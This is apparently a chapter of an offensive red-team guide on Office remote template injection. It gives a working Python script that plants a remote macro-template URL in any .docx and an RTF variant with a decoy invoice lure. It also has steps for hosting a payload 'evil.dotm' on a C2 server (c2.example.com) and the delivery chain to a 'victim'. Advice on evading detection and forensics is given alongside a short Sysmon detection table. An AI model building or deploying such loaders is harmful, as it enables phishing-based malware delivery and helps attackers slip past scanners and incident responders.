Chapter 21

Office Template Injection

A .docx file can reference an external template via a URL stored in its XML relationship files. When Word opens the document, it fetches the template before the document finishes loading. The template can contain VBA macros. From the user's perspective: they opened a .docx (not a .docm), there are no macro warnings for the document itself, and the macros come from a remote URL that can be swapped or killed after delivery. This chapter explains the Open XML relationship structure, shows exactly which file to modify, builds the injected document programmatically, explains the execution chain, and covers every detection layer.

How Office Templates Work

Word documents support "attached templates" — a Normal.dotm-like file that provides styles, building blocks, and macros. The template path is stored inside the .docx ZIP archive in a relationship file. The key insight: templates can be remote URLs, and Word fetches them silently on open:

Office Open XML structure and template relationship
  .docx file is a ZIP archive:
  ┌────────────────────────────────────────────────────────────────┐
  │ [Content_Types].xml                                           │
  │ _rels/.rels                     ← root relationships         │
  │ word/                                                         │
  │   document.xml                  ← actual document content    │
  │   _rels/                                                      │
  │     document.xml.rels           ← THE KEY FILE ←             │
  │   styles.xml                                                  │
  │   settings.xml                                                │
  │   theme/theme1.xml                                            │
  └────────────────────────────────────────────────────────────────┘

  word/_rels/document.xml.rels — normal (no template injection):
  ┌────────────────────────────────────────────────────────────────────────┐
  │ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>              │
  │ <Relationships xmlns="...">                                           │
  │   <Relationship Id="rId1"                                             │
  │     Type=".../officeDocument/2006/relationships/styles"               │
  │     Target="styles.xml"/>                                            │
  │   <Relationship Id="rId2"                                             │
  │     Type=".../officeDocument/2006/relationships/settings"             │
  │     Target="settings.xml"/>                                           │
  └────────────────────────────────────────────────────────────────────────┘

  word/_rels/document.xml.rels — WITH template injection added:
  ┌────────────────────────────────────────────────────────────────────────┐
  │ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>              │
  │ <Relationships xmlns="...">                                           │
  │   <Relationship Id="rId1" ...styles... Target="styles.xml"/>         │
  │   <Relationship Id="rId2" ...settings... Target="settings.xml"/>     │
  │   <Relationship Id="rId99"                                            │
  │     Type=".../officeDocument/2006/relationships/attachedTemplate"     │ ← ADD THIS
  │     Target="https://c2.example.com/templates/invoice.dotm"            │ ← remote URL
  │     TargetMode="External"/>                                           │ ← External!
  │ </Relationships>                                                      │
  └────────────────────────────────────────────────────────────────────────┘

  When Word opens the document:
  1. Reads document.xml.rels
  2. Finds attachedTemplate relationship with External URL
  3. Makes HTTP GET request to that URL (silently, in background)
  4. Downloads the .dotm file
  5. Loads the template — including any VBA macros it contains
  6. If macros are enabled: Auto_Open / AutoNew / Document_Open fires

Why This Beats Normal Macro Delivery

Normal .docm macro delivery vs template injection
  Normal .docm delivery:
  ─────────────────────────────────────────────────────────────────────────
  File type:        .docm — Office explicitly marks this as macro-enabled
  User warning:     "This file contains macros. Enable or Disable."
  Security bar:     Yellow security bar appears before macros run
  AV scan target:   The .docm itself contains the VBA project → scanned
  Static analysis:  olevba.py / Defender scans the VBA inside the file
  Post-delivery:    Payload is embedded in the file; changing it requires
                    re-delivery
  MOTW:             Applied to the .docm → triggers Protected View

  Template injection:
  ─────────────────────────────────────────────────────────────────────────
  File type:        .docx — Word does NOT show it as macro-enabled
                    The security bar for macros does NOT appear from .docx
  User warning:     NO macro warning (macros come from the template, not doc)
                    If macros are enabled (from trust settings), silent exec
  AV scan target:   .docx has no VBA project — scanners see no macros
  Static analysis:  olevba.py on the .docx finds no VBA — clean result
  Post-delivery:    Payload (the .dotm) is remote → can update/kill C2-side
                    without re-delivering the document to the victim
  MOTW:             Applied to .docx → Protected View still opens
                    (but no macro warning specific to the document itself)

  Caveat (2024):
  Word now sometimes shows a notification about remote template loading
  ("Word is updating..." or a security warning about remote content).
  The exact behavior depends on Trust Center settings, Group Policy,
  and whether Protected View is triggered first by MOTW.

Building the Injected .docx — Python

"""
template_inject.py — inject a remote template URL into any .docx file.
Usage: python3 template_inject.py input.docx "https://c2/evil.dotm" output.docx
"""
import zipfile, shutil, os, sys
from xml.etree import ElementTree as ET

RELS_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
TEMPLATE_TYPE = (
    "http://schemas.openxmlformats.org/officeDocument/2006/"
    "relationships/attachedTemplate"
)

def inject_template(input_docx: str, template_url: str, output_docx: str):
    # Work on a copy to avoid destroying the original
    shutil.copy(input_docx, output_docx)

    # The relationship file to modify
    rels_path = "word/_rels/document.xml.rels"

    with zipfile.ZipFile(output_docx, 'r') as zin:
        all_files = zin.namelist()
        rels_content = zin.read(rels_path).decode('utf-8')

    # Parse the XML
    ET.register_namespace('', RELS_NS)
    root = ET.fromstring(rels_content)

    # Find the highest existing rId number to avoid conflicts
    existing_ids = []
    for rel in root:
        rid = rel.get('Id', 'rId0')
        if rid.startswith('rId'):
            try:
                existing_ids.append(int(rid[3:]))
            except ValueError:
                pass
    new_id = f"rId{max(existing_ids, default=0) + 1}"

    # Remove any existing attachedTemplate relationship
    for rel in list(root):
        if rel.get('Type', '') == TEMPLATE_TYPE:
            root.remove(rel)
            print(f"  Removed existing template relationship")

    # Add the new template relationship
    ET.SubElement(root, '{%s}Relationship' % RELS_NS, {
        'Id':         new_id,
        'Type':       TEMPLATE_TYPE,
        'Target':     template_url,
        'TargetMode': 'External'
    })

    new_rels_content = ET.tostring(root, encoding='unicode', xml_declaration=False)
    new_rels_bytes = ('<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n'
                      + new_rels_content).encode('utf-8')

    # Repack the ZIP with the modified relationship file
    tmp = output_docx + ".tmp"
    with zipfile.ZipFile(output_docx, 'r') as zin:
        with zipfile.ZipFile(tmp, 'w', zipfile.ZIP_DEFLATED) as zout:
            for item in zin.namelist():
                if item == rels_path:
                    zout.writestr(item, new_rels_bytes)
                else:
                    zout.writestr(item, zin.read(item))

    os.replace(tmp, output_docx)
    print(f"Injected template URL into {output_docx}")
    print(f"  Template URL: {template_url}")
    print(f"  Relationship ID: {new_id}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: template_inject.py input.docx URL output.docx")
        sys.exit(1)
    inject_template(sys.argv[1], sys.argv[2], sys.argv[3])

Creating the Remote .dotm Template with Macros

The .dotm file (Word template with macros) hosted on your C2 contains the actual payload. It's a regular Word template — create it in Word directly or use python-docx:

Creating evil.dotm in Word:
  1. Open Word → File → New → Blank Document
  2. Alt+F11 → VBA editor → Insert → Module
  3. Paste your macro code (see Ch15 for full VBA payload patterns):

     Sub AutoOpen()
         Call Main()
     End Sub

     Sub Main()
         ' AMSI bypass + shellcode download + inject
         ' (use full payload from Chapter 15)
     End Sub

  4. File → Save As → File Type: Word Macro-Enabled Template (.dotm)
  5. Save as evil.dotm
  6. Upload to C2: https://c2.example.com/templates/evil.dotm
  7. Set Content-Type: application/vnd.ms-word.template.macroenabled.12

Server configuration (nginx):
  location /templates/ {
      add_header Content-Type "application/vnd.ms-word.template.macroenabled.12";
  }

Delivery chain:
  victim opens output.docx
  → Word fetches https://c2.example.com/templates/evil.dotm (background)
  → Downloads .dotm
  → Loads template (with macros)
  → If macros enabled: AutoOpen fires
  → Payload executes inside winword.exe process

RTF Template Injection Variant

The same technique works in RTF documents via the \*\template RTF keyword — and RTF files don't require any ZIP manipulation since RTF is a plaintext format:

"""
Build an RTF file with remote template injection.
RTF template injection: the \*\template keyword loads a remote .dotm.
"""

def create_rtf_with_template(template_url: str, output_path: str,
                              decoy_text: str = "Invoice data loading..."):
    """
    RTF template injection is simpler than docx — RTF is plaintext.
    The \*\template keyword tells Word to fetch and load a template.
    """
    rtf_content = r"""{\rtf1\ansi\deff0
{\fonttbl{\f0 Times New Roman;}}
{\*\template """ + template_url + r"""}
\f0\fs24 """ + decoy_text + r"""
}"""

    with open(output_path, 'w') as f:
        f.write(rtf_content)
    print(f"Created RTF with template injection: {output_path}")
    print(f"Template URL: {template_url}")

# Usage:
# create_rtf_with_template(
#     "https://c2.example.com/templates/evil.dotm",
#     "Invoice_2024.rtf",
#     "Loading invoice data, please wait..."
# )

# RTF advantages over DOCX template injection:
# - RTF is plaintext — trivial to create and modify
# - RTF files (unlike .docx) may have different MOTW/Protected View behavior
# - Email gateways may scan .rtf differently than .docx
# - olevba.py and static scanners examining the .rtf see only the URL string
#   (the actual VBA is in the remote .dotm)

Detection Footprint

Template injection detection events
  Event                                     │ Sysmon ID │ When triggered
  ──────────────────────────────────────────┼───────────┼────────────────────────────────
  winword.exe → outbound HTTP/HTTPS         │ 3 (net)   │ Word fetching the remote .dotm
  DNS query for template host               │ 22 (DNS)  │ Same fetch
  winword.exe → child process (if VBA runs) │ 1 (proc)  │ If macro spawns process
  Process: winword.exe → powershell.exe     │ 1 (proc)  │ If macro uses PS cradle
  Memory: VirtualAlloc(RWX) in winword.exe  │ EDR mem   │ If macro injects shellcode
  FileCreate: .dotm in %TEMP%              │ 11 (file) │ Word caches the template locally

  Key detection rules:
  ──────────────────────────────────────────────────────────────────────────────────────
  • winword.exe making an outbound HTTP(S) connection to a non-Microsoft host
    (especially to a fresh/low-reputation domain) while loading a document
  • A .docx file with no embedded macros (clean olevba scan) followed by
    winword.exe making a network connection — anomalous sequence
  • The cached .dotm in %APPDATA%\Microsoft\Templates\ or %TEMP%
    (endpoint forensics can find the downloaded template after the fact)

  Evasion consideration:
  The most visible signal is the HTTP request from winword.exe to your C2.
  Host your .dotm on a legitimate-looking CDN or cloud storage URL to blend
  the request into normal Microsoft/CDN traffic patterns.

Questions & Answers

Does template injection bypass Protected View?

Protected View is triggered when Word opens a document with MOTW (downloaded from the internet). In Protected View, Word renders the document in a sandbox and does NOT load external templates — the network request to fetch the template doesn't happen while in Protected View. The user must click "Enable Editing" to exit Protected View, after which the document reloads and the template fetch occurs. This means: template injection works after the user exits Protected View, and the macro (from the template) runs if macros are enabled. This is actually a useful separation: the initial click on "Enable Editing" is a social engineering step (the user is already committing to reading the document), and the template loads invisibly afterward. The user does NOT see a second prompt for macros unless their settings show macro warnings from templates.

Can the remote template URL be changed after delivery?

Yes — this is one of the key operational advantages. The .docx file you delivered to the victim contains a URL, not the payload. You can: (1) swap the .dotm file at that URL with a different payload (update the macro without re-delivering the document); (2) take the URL offline if you need to abort the operation before the victim opens the document; (3) redirect the URL to a benign template if you're concerned about forensic analysis of the C2. The delivered .docx is effectively an on-demand loader — the actual malicious code never touches the victim's machine until they open the document after you've staged the template. This decoupling is operationally powerful.

Why would a defender find the .dotm in %APPDATA%\Microsoft\Templates\?

Word caches downloaded external templates to avoid re-fetching them every time the document is opened. The cache location is typically %APPDATA%\Microsoft\Templates\ or %LOCALAPPDATA%\Microsoft\Windows\INetCache\ (the IE/WinInet cache). This means the .dotm file ends up on the victim's disk even though your delivery document was a .docx without embedded macros. Forensic responders examining the machine will find the cached .dotm, which contains your VBA macro — providing a complete artifact of what ran. For operational security: the name of the cached file is based on the URL, so choose a convincing filename for the hosted .dotm (e.g., corporate-template-2024.dotm rather than evil.dotm).

Does this technique work in Excel and PowerPoint too?

Yes. The same Open XML relationship structure exists in Excel (.xlsx/.xlsm) and PowerPoint (.pptx/.pptm). Excel uses xl/_rels/workbook.xml.rels and the relationship type .../relationships/externalLink for some remote content, but template injection specifically uses the same attachedTemplate relationship type. In practice: Word is the most commonly abused because Word documents are the most common phishing attachment format, and Word's template loading is well-established behavior. Excel template injection also works but is less commonly used in real campaigns.

How does olevba.py miss template injection?

olevba.py (part of the oletools suite) specifically looks for VBA project streams inside the Office file — it reads the OLE compound document or ZIP archive structure and extracts VBA code. In a .docx without embedded macros, there is no VBA project stream — there's literally no VBA code in the file to find. olevba reports: "No VBA macros found." The malicious VBA is in the remote .dotm, which olevba never sees because it doesn't fetch external URLs while analyzing. This is exactly the detection gap template injection exploits. Defenders need network-aware analysis (checking for External template relationships in the .rels file) in addition to static VBA scanning to detect this technique.